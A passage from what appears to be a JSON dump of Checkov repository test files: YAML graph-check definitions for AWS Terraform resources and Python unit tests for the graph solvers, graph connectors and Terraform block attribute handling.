    "content": "metadata:\n  name: \"example\"\n  category: \"GENERAL_SECURITY\"\n  id: \"VPCForSubnet\"\nscope:\n  provider: \"AWS\"\ndefinition:\n  cond_type: \"connection\"\n  resource_types:\n    - \"aws_subnet\"\n  connected_resource_types:\n    - \"aws_vpc\"\n  operator: \"exists\"\n\n"
  },
  {
    "path": "tests/terraform/graph/checks_infra/connection_solvers/connection_exist_solver/__init__.py",
    "content": ""
  },
  {
    "path": "tests/terraform/graph/checks_infra/connection_solvers/connection_exist_solver/test_solver.py",
    "content": "import os\nfrom pathlib import Path\n\nfrom parameterized import parameterized_class\n\nfrom checkov.runner_filter import RunnerFilter\nfrom tests.graph_utils.utils import PARAMETERIZED_GRAPH_FRAMEWORKS\nfrom tests.terraform.graph.checks_infra.test_base import TestBaseSolver\n\nTEST_DIRNAME = os.path.dirname(os.path.realpath(__file__))\n\n\n@parameterized_class(PARAMETERIZED_GRAPH_FRAMEWORKS)\nclass ConnectionSolver(TestBaseSolver):\n    def setUp(self):\n        self.checks_dir = TEST_DIRNAME\n        super(ConnectionSolver, self).setUp()\n\n    def test_connection_found(self):\n        root_folder = '../../../resources/ec2_instance_network_interfaces'\n        check_id = \"NetworkInterfaceForInstance\"\n        should_pass = ['aws_instance.instance_foo', 'aws_network_interface.network_interface_foo']\n        should_fail = []\n        expected_results = {check_id: {\"should_pass\": should_pass, \"should_fail\": should_fail}}\n\n        self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id)\n\n    def test_output_connection(self):\n        root_folder = '../../../resources/output_example'\n        check_id = \"VPCForSubnet\"\n        should_pass = ['module.submodule.aws_vpc.my_vpc','aws_subnet.my_subnet']\n        should_fail = []\n        expected_results = {check_id: {\"should_pass\": should_pass, \"should_fail\": should_fail}}\n\n        self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id)\n\n    def test_data_connection(self):\n        root_folder = \"../../../resources/s3_bucket_policy\"\n        check_id = \"S3BucketPolicyDataSource\"\n        should_pass = [\"aws_s3_bucket.good\"]\n        should_fail = [\"aws_s3_bucket.bad\"]\n        expected_results = {check_id: {\"should_pass\": should_pass, \"should_fail\": should_fail}}\n\n        self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id)\n\n    def test_reduce_graph_by_target_types(self):\n        # given\n        check_id = \"VPCForSubnet\"\n        resources_path = Path(__file__).parents[3] / \"resources\"\n        self.runner.run(root_folder=str(resources_path), runner_filter=RunnerFilter(checks=[\"VPCForSubnet\"]))\n        graph_connector = self.runner.graph_manager.db_connector.graph\n        check = next(check for check in self.registry.checks if check.id == check_id)\n\n        # when\n        reduced_graph = check.solver.reduce_graph_by_target_types(graph_connector)\n\n        # then\n        if self.graph_framework == 'NETWORKX':\n            assert len(graph_connector.nodes) >= 661\n            assert len(graph_connector.edges) >= 327\n\n            assert len(reduced_graph.nodes) <= 85\n            assert len(reduced_graph.edges) <= 20\n\n        elif self.graph_framework == 'RUSTWORKX':\n            assert len(graph_connector.nodes()) >= 661\n            assert len(graph_connector.edges()) >= 327\n\n            assert len(reduced_graph.nodes()) <= 85\n            assert len(reduced_graph.edges()) <= 20"
  },
  {
    "path": "tests/terraform/graph/checks_infra/connection_solvers/connection_not_exist_solver/NoNetworkInterfaceForInstance.yaml",
    "content": "metadata:\n  name: \"example\"\n  category: \"GENERAL_SECURITY\"\n  id: \"NoNetworkInterfaceForInstance\"\nscope:\n  provider: \"AWS\"\ndefinition:\n  cond_type: \"connection\"\n  resource_types:\n    - \"aws_instance\"\n  connected_resource_types:\n    - \"aws_network_interface\"\n  operator: \"not_exists\"\n\n"
  },
  {
    "path": "tests/terraform/graph/checks_infra/connection_solvers/connection_not_exist_solver/__init__.py",
    "content": ""
  },
  {
    "path": "tests/terraform/graph/checks_infra/connection_solvers/connection_not_exist_solver/test_solver.py",
    "content": "import os\n\nfrom parameterized import parameterized_class\n\nfrom tests.graph_utils.utils import PARAMETERIZED_GRAPH_FRAMEWORKS\nfrom tests.terraform.graph.checks_infra.test_base import TestBaseSolver\n\nTEST_DIRNAME = os.path.dirname(os.path.realpath(__file__))\n\n\n@parameterized_class(PARAMETERIZED_GRAPH_FRAMEWORKS)\nclass ConnectionSolver(TestBaseSolver):\n    def setUp(self):\n        self.checks_dir = TEST_DIRNAME\n        super(ConnectionSolver, self).setUp()\n\n    def test_connection_not_found(self):\n        root_folder = '../../../resources/ec2_instance_network_interfaces'\n        check_id = \"NoNetworkInterfaceForInstance\"\n        should_pass = ['aws_network_interface.network_interface_goo', 'aws_instance.bar']\n        should_fail = ['aws_instance.instance_foo', 'aws_network_interface.network_interface_foo']\n        expected_results = {check_id: {\"should_pass\": should_pass, \"should_fail\": should_fail}}\n\n        self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id)"
  },
  {
    "path": "tests/terraform/graph/checks_infra/connection_solvers/connection_one_exists/VPCHasOneOfWantedFlowLogs.yaml",
    "content": "metadata:\n  name: \"Ensure a specific VPC flow log exists in VPC's flow logs\"\n  category: \"LOGGING\"\n  id: \"VPCHasOneOfWantedFlowLogs\"\ndefinition:\n   and:\n      - resource_types:\n          - aws_vpc\n        connected_resource_types:\n          - aws_flow_log\n        operator: one_exists\n        attribute: networking\n        cond_type: connection\n\n      - resource_types:\n          - aws_flow_log\n        cond_type: attribute\n        operator: equals\n        attribute: log_destination_type\n        value: \"s3\"\n\n      - resource_types:\n          - aws_flow_log\n        cond_type: attribute\n        operator: equals\n        attribute: log_destination\n        value: \"arn:aws:s3:::test-bucket\"\n\n      - cond_type: filter\n        attribute: resource_type\n        value:\n           - aws_vpc\n        operator: within\n\n\n\n"
  },
  {
    "path": "tests/terraform/graph/checks_infra/connection_solvers/connection_one_exists/__init__.py",
    "content": ""
  },
  {
    "path": "tests/terraform/graph/checks_infra/connection_solvers/connection_one_exists/test_solver.py",
    "content": "import os\n\nfrom parameterized import parameterized_class\n\nfrom tests.graph_utils.utils import PARAMETERIZED_GRAPH_FRAMEWORKS\nfrom tests.terraform.graph.checks_infra.test_base import TestBaseSolver\n\nTEST_DIRNAME = os.path.dirname(os.path.realpath(__file__))\n\n\n@parameterized_class(PARAMETERIZED_GRAPH_FRAMEWORKS)\nclass ConnectionSolver(TestBaseSolver):\n    def setUp(self):\n        self.checks_dir = TEST_DIRNAME\n        super(ConnectionSolver, self).setUp()\n\n    def test_connection_not_found(self):\n        root_folder = '../../../checks/resources/VPCHasOneOfWantedFlowLogs'\n        check_id = \"VPCHasOneOfWantedFlowLogs\"\n        should_pass = ['aws_vpc.ok_vpc', 'aws_vpc.ok_vpc1']\n        should_fail = ['aws_vpc.not_ok_vpc', 'aws_vpc.not_ok_vpc2']\n        expected_results = {check_id: {\"should_pass\": should_pass, \"should_fail\": should_fail}}\n\n        self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id)"
  },
  {
    "path": "tests/terraform/graph/checks_infra/connection_solvers/or_connection_solver/SpecificInstanceComplexConnection.yaml",
    "content": "metadata:\n  name: \"example\"\n  category: \"GENERAL_SECURITY\"\n  id: SpecificInstanceComplexConnection\nscope:\n  provider: AWS\ndefinition:\n  or:\n    - cond_type: filter\n      value:\n        - aws_network_interface\n        - aws_instance\n      operator: within\n      attribute: resource_type\n    - cond_type: connection\n      operator: exists\n      resource_types:\n        - aws_instance\n      connected_resource_types:\n        - aws_network_interface\n    - cond_type: connection\n      operator: exists\n      resource_types:\n        - aws_subnet\n      connected_resource_types:\n        - aws_vpc\n    - cond_type: attribute\n      attribute: tags.Env\n      operator: equals\n      value: prod\n      resource_types:\n        - aws_instance\n        - aws_network_interface\n        - aws_subnet\n        - aws_vpc\n"
  },
  {
    "path": "tests/terraform/graph/checks_infra/connection_solvers/or_connection_solver/__init__.py",
    "content": ""
  },
  {
    "path": "tests/terraform/graph/checks_infra/connection_solvers/or_connection_solver/test_solver.py",
    "content": "import os\n\nfrom parameterized import parameterized_class\n\nfrom tests.graph_utils.utils import PARAMETERIZED_GRAPH_FRAMEWORKS\nfrom tests.terraform.graph.checks_infra.test_base import TestBaseSolver\n\nTEST_DIRNAME = os.path.dirname(os.path.realpath(__file__))\n\n\n@parameterized_class(PARAMETERIZED_GRAPH_FRAMEWORKS)\nclass ConnectionSolver(TestBaseSolver):\n    def setUp(self):\n        self.checks_dir = TEST_DIRNAME\n        super(ConnectionSolver, self).setUp()\n\n    def test_or_connection(self):\n        root_folder = '../../../resources/ec2_instance_network_interfaces'\n        check_id = \"SpecificInstanceComplexConnection\"\n        should_pass = ['aws_instance.instance_foo', 'aws_network_interface.network_interface_foo', 'aws_instance.instance_bar']\n        should_fail = ['aws_network_interface.network_interface_goo']\n        expected_results = {check_id: {\"should_pass\": should_pass, \"should_fail\": should_fail}}\n\n        self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id)\n"
  },
  {
    "path": "tests/terraform/graph/checks_infra/resource_solvers/__init__.py",
    "content": ""
  },
  {
    "path": "tests/terraform/graph/checks_infra/resource_solvers/exists_solver/ResourceAllowList.yaml",
    "content": "metadata:\n  name: \"example\"\n  category: \"GENERAL_SECURITY\"\n  id: \"ResourceAllowList\"\nscope:\n  provider: \"AWS\"\ndefinition:\n  cond_type: \"resource\"\n  resource_types:\n    - \"aws_s3_bucket\"\n  operator: \"exists\"\n"
  },
  {
    "path": "tests/terraform/graph/checks_infra/resource_solvers/exists_solver/__init__.py",
    "content": ""
  },
  {
    "path": "tests/terraform/graph/checks_infra/resource_solvers/exists_solver/test_solver.py",
    "content": "from pathlib import Path\n\nfrom parameterized import parameterized_class\n\nfrom tests.terraform.graph.checks_infra.test_base import TestBaseSolver\n\nTEST_DIRNAME = Path(__file__).parent\n\n\n@parameterized_class([{\"graph_framework\": \"NETWORKX\"}, {\"graph_framework\": \"IGRAPH\"}])\nclass ExistsSolver(TestBaseSolver):\n    def setUp(self):\n        self.checks_dir = str(TEST_DIRNAME)\n        super().setUp()\n\n    def test_allow_list(self):\n        # given\n        root_folder = TEST_DIRNAME.parents[2] / \"resources/encryption_test\"\n        check_id = \"ResourceAllowList\"\n        should_pass = [\n            \"aws_s3_bucket.encrypted_bucket\",\n            \"aws_s3_bucket.unencrypted_bucket\",\n        ]\n        should_fail = [\n            \"aws_rds_cluster.rds_cluster_encrypted\",\n            \"aws_rds_cluster.rds_cluster_unencrypted\",\n            \"aws_neptune_cluster.encrypted_neptune\",\n            \"aws_neptune_cluster.unencrypted_neptune\",\n        ]\n        expected_results = {check_id: {\"should_pass\": should_pass, \"should_fail\": should_fail}}\n\n        # when/then\n        self.run_test(root_folder=str(root_folder), expected_results=expected_results, check_id=check_id)\n"
  },
  {
    "path": "tests/terraform/graph/checks_infra/resource_solvers/not_exists_solver/ResourceDenyList.yaml",
    "content": "metadata:\n  name: \"example\"\n  category: \"GENERAL_SECURITY\"\n  id: \"ResourceDenyList\"\nscope:\n  provider: \"AWS\"\ndefinition:\n  cond_type: \"resource\"\n  resource_types:\n    - \"aws_s3_bucket\"\n  operator: \"not_exists\"\n"
  },
  {
    "path": "tests/terraform/graph/checks_infra/resource_solvers/not_exists_solver/__init__.py",
    "content": ""
  },
  {
    "path": "tests/terraform/graph/checks_infra/resource_solvers/not_exists_solver/test_solver.py",
    "content": "from pathlib import Path\n\nfrom parameterized import parameterized_class\n\nfrom tests.terraform.graph.checks_infra.test_base import TestBaseSolver\n\nTEST_DIRNAME = Path(__file__).parent\n\n\n@parameterized_class([{\"graph_framework\": \"NETWORKX\"}, {\"graph_framework\": \"IGRAPH\"}])\nclass TestNotExistsSolver(TestBaseSolver):\n    def setUp(self):\n        self.checks_dir = str(TEST_DIRNAME)\n        super().setUp()\n\n    def test_deny_list(self):\n        # given\n        root_folder = TEST_DIRNAME.parents[2] / \"resources/encryption_test\"\n        check_id = \"ResourceDenyList\"\n\n        should_fail = [\n            \"aws_s3_bucket.encrypted_bucket\",\n            \"aws_s3_bucket.unencrypted_bucket\",\n        ]\n        expected_results = {check_id: {\"should_fail\": should_fail}}\n\n        # when/then\n        self.run_test(root_folder=str(root_folder), expected_results=expected_results, check_id=check_id)\n"
  },
  {
    "path": "tests/terraform/graph/checks_infra/test_base.py",
    "content": "import os\nfrom unittest import TestCase\nfrom unittest import mock\n\nfrom parameterized import parameterized_class\n\nfrom checkov.common.checks_infra.checks_parser import GraphCheckParser\nfrom checkov.common.checks_infra.registry import Registry\nfrom checkov.terraform.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.common.checks_infra.solvers.attribute_solvers.base_attribute_solver import BaseAttributeSolver\nfrom tests.graph_utils.utils import PARAMETERIZED_GRAPH_FRAMEWORKS\n\n\n@parameterized_class(\n    PARAMETERIZED_GRAPH_FRAMEWORKS\n)\nclass TestBaseSolver(TestCase):\n    checks_dir = \"\"\n\n    def setUp(self):\n        with mock.patch.dict(os.environ, {\"CHECKOV_GRAPH_FRAMEWORK\": self.graph_framework}):\n            self.source = \"Terraform\"\n            self.registry = Registry(parser=GraphCheckParser(), checks_dir=self.checks_dir)\n            self.registry.load_checks()\n            self.runner = Runner(external_registries=[self.registry])\n\n    def run_test(self, root_folder, expected_results, check_id):\n        root_folder = os.path.realpath(os.path.join(self.checks_dir, root_folder))\n        report = self.runner.run(root_folder=root_folder, runner_filter=RunnerFilter(checks=[check_id]))\n        verification_results = verify_report(report=report, expected_results=expected_results)\n        self.assertIsNone(verification_results, verification_results)\n\n    def test_unrendered_variable_source(self):\n        self.assertTrue(BaseAttributeSolver._is_variable_dependant(\"var.location\", \"Terraform\"))\n        self.assertTrue(BaseAttributeSolver._is_variable_dependant(\"var.location\", \"terraform\"))\n\n\ndef verify_report(report, expected_results):\n    for check_id in expected_results:\n        found = False\n        should_pass_checks = expected_results[check_id].get('should_pass', [])\n        for resource in should_pass_checks:\n            for record in report.passed_checks:\n                if record.check_id == check_id and record.resource == resource:\n                    found = True\n                    break\n            if not found:\n                return f\"expected resource {resource} to pass in check {check_id}\"\n        found = False\n        should_fail_checks = expected_results[check_id].get('should_fail', [])\n        for resource in should_fail_checks:\n            for record in report.failed_checks:\n                if record.check_id == check_id and record.resource == resource:\n                    found = True\n                    break\n            if not found:\n                return f\"expected resource {resource} to fail in check {check_id}\"\n\n    return None\n"
  },
  {
    "path": "tests/terraform/graph/checks_infra/test_base_attribute_solver.py",
    "content": "from unittest.mock import MagicMock\n\nfrom pytest_mock import MockerFixture\n\nfrom checkov.common.checks_infra.solvers.attribute_solvers.base_attribute_solver import BaseAttributeSolver\n\n\ndef test_get_cached_jsonpath_statement(mocker: MockerFixture):\n    # given\n    BaseAttributeSolver.jsonpath_parsed_statement_cache = {}  # reset cache\n    statement = \"policy.Statement[?(@.Effect == Allow)].Action[*]\"\n    solver_1 = BaseAttributeSolver(\n        resource_types=[\"aws_iam_policy\"],\n        attribute=statement,\n        value=\"iam:*\",\n        is_jsonpath_check=True,\n    )\n    solver_2 = BaseAttributeSolver(\n        resource_types=[\"aws_iam_policy\"],\n        attribute=statement,\n        value=\"iam:*\",\n        is_jsonpath_check=True,\n    )\n    jsonpath_parse_mock = MagicMock()\n\n    assert len(BaseAttributeSolver.jsonpath_parsed_statement_cache) == 0\n\n    # when\n    solver_1._get_cached_jsonpath_statement(statement=statement)\n    assert len(BaseAttributeSolver.jsonpath_parsed_statement_cache) == 1\n\n    # patch jsonpath_ng.parse to be able to check it was really not called again and the cache was properly used\n    mocker.patch(\"checkov.common.checks_infra.solvers.attribute_solvers.base_attribute_solver.parse\", side_effect=jsonpath_parse_mock)\n    solver_2._get_cached_jsonpath_statement(statement=statement)\n\n    # then\n    assert len(BaseAttributeSolver.jsonpath_parsed_statement_cache) == 1\n    jsonpath_parse_mock.assert_not_called()  # jsonpath_ng.parse shouldn't have been called again\n"
  },
  {
    "path": "tests/terraform/graph/db_connector/__init__.py",
    "content": ""
  },
  {
    "path": "tests/terraform/graph/db_connector/test_graph_connector.py",
    "content": "import os\nfrom unittest import TestCase\n\nfrom checkov.common.graph.db_connectors.networkx.networkx_db_connector import NetworkxConnector\nfrom checkov.common.graph.db_connectors.rustworkx.rustworkx_db_connector import RustworkxConnector\nfrom checkov.terraform.graph_builder.local_graph import TerraformLocalGraph\nfrom checkov.terraform.tf_parser import TFParser\n\nTEST_DIRNAME = os.path.dirname(os.path.realpath(__file__))\n\n\nclass TestGraphConnector(TestCase):\n    def test_creating_networkx_graph(self):\n        resources_dir = os.path.realpath(os.path.join(TEST_DIRNAME, '../resources/encryption'))\n        hcl_config_parser = TFParser()\n        module, _ = hcl_config_parser.parse_hcl_module(resources_dir, 'AWS')\n        local_graph = TerraformLocalGraph(module)\n        local_graph._create_vertices()\n        nxc = NetworkxConnector()\n        nxc.save_graph(local_graph)\n\n    def test_creating_rustworkx_graph(self):\n        resources_dir = os.path.realpath(os.path.join(TEST_DIRNAME, '../resources/encryption'))\n        hcl_config_parser = TFParser()\n        module, _ = hcl_config_parser.parse_hcl_module(resources_dir, 'AWS')\n        local_graph = TerraformLocalGraph(module)\n        local_graph._create_vertices()\n        igc = RustworkxConnector()\n        igc.save_graph(local_graph)\n"
  },
  {
    "path": "tests/terraform/graph/graph_builder/__init__.py",
    "content": ""
  },
  {
    "path": "tests/terraform/graph/graph_builder/graph_components/__init__.py",
    "content": ""
  },
  {
    "path": "tests/terraform/graph/graph_builder/graph_components/test_blocks.py",
    "content": "from unittest import TestCase\nimport os\n\nfrom checkov.terraform.graph_builder.graph_components.block_types import BlockType\nfrom checkov.terraform.graph_builder.graph_components.blocks import TerraformBlock\nfrom checkov.terraform.graph_manager import TerraformGraphManager\nfrom checkov.common.graph.db_connectors.networkx.networkx_db_connector import NetworkxConnector\n\nTEST_DIRNAME = os.path.dirname(os.path.realpath(__file__))\n\n\nclass TestBlocks(TestCase):\n    def test_update_inner_attribute_1(self):\n        config = {\n            \"aws_security_group\": {\n                \"test\": {\n                    \"name\": [\"test\"],\n                    \"vpc_id\": [\"${aws_vpc.vpc_main.id}\"],\n                    \"tags\": [{\"Name\": \"test\"}],\n                    \"description\": [\"test - Elasticsearch Cluster\"],\n                    \"ingress\": [\n                        {\n                            \"from_port\": [443],\n                            \"to_port\": [443],\n                            \"protocol\": [\"tcp\"],\n                            \"security_groups\": [\n                                [\"${aws_security_group.test.id}\", \"${data.aws_security_group.test.id}\"]\n                            ],\n                        }\n                    ],\n                }\n            }\n        }\n\n        block = TerraformBlock(\n            name=\"aws_security_group.test\",\n            config=config,\n            path=\"test_path\",\n            block_type=BlockType.RESOURCE,\n            attributes=config[\"aws_security_group\"][\"test\"],\n        )\n\n        block.update_inner_attribute(\n            attribute_key=\"ingress.security_groups.0\", nested_attributes=block.attributes, value_to_update=\"sg-0\"\n        )\n        block.update_inner_attribute(\n            attribute_key=\"ingress.security_groups.1\", nested_attributes=block.attributes, value_to_update=\"sg-1\"\n        )\n\n        self.assertEqual(\n            \"sg-0\",\n            block.attributes[\"ingress.security_groups.0\"],\n            f\"failed to update ingress.security_groups.0, got {block.attributes['ingress.security_groups.0']}\",\n        )\n        self.assertEqual(\n            \"sg-1\",\n            block.attributes[\"ingress.security_groups.1\"],\n            f\"failed to update ingress.security_groups.1, got {block.attributes['ingress.security_groups.1']}\",\n        )\n        self.assertEqual(\n            \"sg-0\",\n            block.attributes[\"ingress\"][\"security_groups\"][0],\n            f\"failed to update block.attributes['ingress']['security_groups'][0], got {block.attributes['ingress']['security_groups'][0]}\",\n        )\n        self.assertEqual(\n            \"sg-1\",\n            block.attributes[\"ingress\"][\"security_groups\"][1],\n            f\"failed to update block.attributes['ingress']['security_groups'][1], got {block.attributes['ingress']['security_groups'][1]}\",\n        )\n\n    def test_update_inner_attribute_2(self):\n        config = {\n            \"aws_security_group\": {\n                \"test\": {\n                    \"name\": [\"test\"],\n                    \"vpc_id\": [\"${aws_vpc.vpc_main.id}\"],\n                    \"ingress\": [\n                        {\n                            \"from_port\": [53],\n                            \"to_port\": [53],\n                            \"protocol\": [\"udp\"],\n                            \"security_groups\": [\n                                [\n                                    \"${data.test1.id}\",\n                                    \"${data.test2.id}\",\n                                    \"${data.test3.id}\",\n                                    \"${data.test4.id}\",\n                                    \"${data.test5.id}\",\n                                    \"${data.test6.id}\",\n                                ]\n                            ],\n                            \"cidr_blocks\": [[\"test1\", \"${var.test2}\", \"${var.test4}\"]],\n                        },\n                        {\n                            \"from_port\": [53],\n                            \"to_port\": [53],\n                            \"protocol\": [\"tcp\"],\n                            \"security_groups\": [\n                                [\n                                    \"${data.test1.id}\",\n                                    \"${data.test2.id}\",\n                                    \"${data.test3.id}\",\n                                    \"${data.test4.id}\",\n                                    \"${data.test5.id}\",\n                                    \"${data.test6.id}\",\n                                ]\n                            ],\n                            \"cidr_blocks\": [[\"test\", \"${var.test}\", \"${var.v3}\"]],\n                        },\n                    ],\n                }\n            }\n        }\n\n        block = TerraformBlock(\n            name=\"aws_security_group.test\",\n            config=config,\n            path=\"test_path\",\n            block_type=BlockType.RESOURCE,\n            attributes=config[\"aws_security_group\"][\"test\"],\n        )\n\n        block.update_inner_attribute(\n            attribute_key=\"ingress.0.cidr_blocks.1\", nested_attributes=block.attributes, value_to_update=\"sg-1\"\n        )\n\n        self.assertEqual(\n            \"sg-1\",\n            block.attributes[\"ingress.0.cidr_blocks.1\"],\n            f\"failed to update ingress.0.cidr_blocks.1, got {block.attributes['ingress.0.cidr_blocks.1']}\",\n        )\n        self.assertEqual(\n            \"sg-1\",\n            block.attributes[\"ingress\"][0][\"cidr_blocks\"][1],\n            f\"failed to update block.attributes['ingress'][0]['cidr_blocks'][1], got {block.attributes['ingress'][0]['cidr_blocks'][1]}\",\n        )\n\n    def test_update_inner_attribute_3(self):\n        config = {\n            \"aws_iam_policy_document\": {\n                \"vcs_webhook_step_function_execution_policy\": {\n                    \"statement\": [\n                        {\n                            \"actions\": [[\"events:DescribeRule\", \"events:PutRule\", \"events:PutTargets\"]],\n                            \"effect\": [\"Allow\"],\n                            \"resources\": [\n                                [\n                                    \"arn:aws:events:${var.region}:${data.aws_caller_identity.current.account_id}:rule/StepFunctionsGetEventsForECSTaskRule\",\n                                    \"arn:aws:events:${var.region}:${data.aws_caller_identity.current.account_id}:rule/StepFunctionsGetEventsForStepFunctionsExecutionRule\",\n                                ]\n                            ],\n                        },\n                        {\n                            \"actions\": [[\"states:StartExecution\"]],\n                            \"effect\": [\"Allow\"],\n                            \"resources\": [\n                                [\n                                    \"arn:aws:states:${var.region}:${data.aws_caller_identity.current.account_id}:stateMachine:${module.consts.bc_checkov_scanner_step_function_name}*\"\n                                ]\n                            ],\n                        },\n                        {\n                            \"actions\": [[\"lambda:InvokeFunction\"]],\n                            \"effect\": [\"Allow\"],\n                            \"resources\": [\n                                \"${formatlist(\\\"%s%s\\\",\\\"arn:aws:lambda:${var.region}:${data.aws_caller_identity.current.account_id}:function:\\\",concat(['${local.vcs_webhook_lambda_name}', '${local.customer_api_lambda}']))}\"\n                            ],\n                        },\n                    ]\n                }\n            }\n        }\n        block = TerraformBlock(\n            name=\"aws_iam_policy_document.vcs_webhook_step_function_execution_policy\",\n            config=config,\n            path=\"test_path\",\n            block_type=BlockType.DATA,\n            attributes=config[\"aws_iam_policy_document\"][\"vcs_webhook_step_function_execution_policy\"],\n        )\n        block.update_inner_attribute(\n            attribute_key=\"statement.1.resources.0\",\n            nested_attributes={\n                \"statement\": [\n                    {\n                        \"actions\": [\"events:DescribeRule\", \"events:PutRule\", \"events:PutTargets\"],\n                        \"effect\": \"Allow\",\n                        \"resources\": [\n                            \"arn:aws:events:${var.region}:${data.aws_caller_identity.current.account_id}:rule/StepFunctionsGetEventsForECSTaskRule\",\n                            \"arn:aws:events:${var.region}:${data.aws_caller_identity.current.account_id}:rule/StepFunctionsGetEventsForStepFunctionsExecutionRule\",\n                        ],\n                    },\n                    {\n                        \"actions\": \"states:StartExecution\",\n                        \"effect\": \"Allow\",\n                        \"resources\": \"arn:aws:states:${var.region}:${data.aws_caller_identity.current.account_id}:stateMachine:bc-vcs-scanner-sfn*\",\n                    },\n                    {\n                        \"actions\": \"lambda:InvokeFunction\",\n                        \"effect\": \"Allow\",\n                        \"resources\": \"${formatlist(\\\"%s%s\\\",\\\"arn:aws:lambda:${var.region}:${data.aws_caller_identity.current.account_id}:function:\\\",concat(['${local.vcs_webhook_lambda_name}', '${local.customer_api_lambda}']))}\",\n                    },\n                ],\n                \"statement.0\": {\n                    \"actions\": [\"events:DescribeRule\", \"events:PutRule\", \"events:PutTargets\"],\n                    \"effect\": \"Allow\",\n                    \"resources\": [\n                        \"arn:aws:events:${var.region}:${data.aws_caller_identity.current.account_id}:rule/StepFunctionsGetEventsForECSTaskRule\",\n                        \"arn:aws:events:${var.region}:${data.aws_caller_identity.current.account_id}:rule/StepFunctionsGetEventsForStepFunctionsExecutionRule\",\n                    ],\n                },\n                \"statement.0.actions\": [\"events:DescribeRule\", \"events:PutRule\", \"events:PutTargets\"],\n                \"statement.0.actions.0\": \"events:DescribeRule\",\n                \"statement.0.actions.1\": \"events:PutRule\",\n                \"statement.0.actions.2\": \"events:PutTargets\",\n                \"statement.0.effect\": \"Allow\",\n                \"statement.0.resources\": [\n                    \"arn:aws:events:${var.region}:${data.aws_caller_identity.current.account_id}:rule/StepFunctionsGetEventsForECSTaskRule\",\n                    \"arn:aws:events:${var.region}:${data.aws_caller_identity.current.account_id}:rule/StepFunctionsGetEventsForStepFunctionsExecutionRule\",\n                ],\n                \"statement.0.resources.0\": \"arn:aws:events:${var.region}:${data.aws_caller_identity.current.account_id}:rule/StepFunctionsGetEventsForECSTaskRule\",\n                \"statement.0.resources.1\": \"arn:aws:events:${var.region}:${data.aws_caller_identity.current.account_id}:rule/StepFunctionsGetEventsForStepFunctionsExecutionRule\",\n                \"statement.1\": {\n                    \"resources\": \"arn:aws:states:${var.region}:${data.aws_caller_identity.current.account_id}:stateMachine:bc-vcs-scanner-sfn*\"\n                },\n                \"statement.1.actions\": \"states:StartExecution\",\n                \"statement.1.actions.0\": \"states:StartExecution\",\n                \"statement.1.effect\": \"Allow\",\n                \"statement.1.resources\": \"arn:aws:states:${var.region}:${data.aws_caller_identity.current.account_id}:stateMachine:bc-vcs-scanner-sfn*\",\n                \"statement.1.resources.0\": \"arn:aws:states:${var.region}:${data.aws_caller_identity.current.account_id}:stateMachine:bc-vcs-scanner-sfn*\",\n                \"statement.2\": {\n                    \"actions\": \"lambda:InvokeFunction\",\n                    \"effect\": \"Allow\",\n                    \"resources\": \"${formatlist(\\\"%s%s\\\",\\\"arn:aws:lambda:${var.region}:${data.aws_caller_identity.current.account_id}:function:\\\",concat(['${local.vcs_webhook_lambda_name}', '${local.customer_api_lambda}']))}\",\n                },\n                \"statement.2.actions\": \"lambda:InvokeFunction\",\n                \"statement.2.actions.0\": \"lambda:InvokeFunction\",\n                \"statement.2.effect\": \"Allow\",\n                \"statement.2.resources\": \"${formatlist(\\\"%s%s\\\",\\\"arn:aws:lambda:${var.region}:${data.aws_caller_identity.current.account_id}:function:\\\",concat(['${local.vcs_webhook_lambda_name}', '${local.customer_api_lambda}']))}\",\n            },\n            value_to_update=\"arn:aws:states:${var.region}:${data.aws_caller_identity.current.account_id}:stateMachine:bc-vcs-scanner-sfn*\",\n        )\n        self.assertIn(\n            block.attributes[\"statement.0.resources.1\"],\n            [\n                \"arn:aws:events:${var.region}:${data.aws_caller_identity.current.account_id}:rule/StepFunctionsGetEventsForECSTaskRule\",\n                \"arn:aws:events:${var.region}:${data.aws_caller_identity.current.account_id}:rule/StepFunctionsGetEventsForStepFunctionsExecutionRule\",\n            ],\n        )\n        self.assertIn(\n            block.attributes[\"statement.0.resources.0\"],\n            [\n                \"arn:aws:events:${var.region}:${data.aws_caller_identity.current.account_id}:rule/StepFunctionsGetEventsForECSTaskRule\",\n                \"arn:aws:events:${var.region}:${data.aws_caller_identity.current.account_id}:rule/StepFunctionsGetEventsForStepFunctionsExecutionRule\",\n            ],\n        )\n\n    def test_update_complex_key(self):\n        config = {\n            \"labels\": [\n                {\n                    \"app.kubernetes.io/name\": \"${local.name}\",\n                    \"app.kubernetes.io/instance\": \"hpa\",\n                    \"app.kubernetes.io/version\": \"1.0.0\",\n                    \"app.kubernetes.io/managed-by\": \"terraform\",\n                }\n            ]\n        }\n        attributes = {\n            \"labels\": {\n                \"app.kubernetes.io/name\": \"${local.name}\",\n                \"app.kubernetes.io/instance\": \"hpa\",\n                \"app.kubernetes.io/version\": \"1.0.0\",\n                \"app.kubernetes.io/managed-by\": \"terraform\",\n            },\n            \"labels.app.kubernetes.io/name\": \"${local.name}\",\n            \"labels.app.kubernetes.io/instance\": \"hpa\",\n            \"labels.app.kubernetes.io/version\": \"1.0.0\",\n            \"labels.app.kubernetes.io/managed-by\": \"terraform\",\n        }\n        block = TerraformBlock(\n            name=\"test_local_name\", config=config, path=\"\", block_type=BlockType.LOCALS, attributes=attributes\n        )\n\n        block.update_inner_attribute(\n            attribute_key=\"labels.app.kubernetes.io/name\", nested_attributes=attributes, value_to_update=\"dummy value\"\n        )\n        self.assertEqual(\"dummy value\", block.attributes[\"labels.app.kubernetes.io/name\"])\n\n    def test_update_complex_key2(self):\n        config = {}\n        attributes = {\n            \"var.owning_account\": {\n                \"route_to\": None,\n                \"route_to_cidr_blocks\": \"${local.allowed_cidrs}\",\n                \"static_routes\": None,\n                \"subnet_ids\": \"${local.own_vpc.private_subnet_ids}\",\n                \"subnet_route_table_ids\": \"${local.own_vpc.private_route_table_ids}\",\n                \"transit_gateway_vpc_attachment_id\": None,\n                \"vpc_cidr\": \"${local.own_vpc.vpc_cidr}\",\n                \"vpc_id\": \"${local.own_vpc.vpc_id}\",\n            }\n        }\n        block = TerraformBlock(\n            name=\"test_local_name\", config=config, path=\"\", 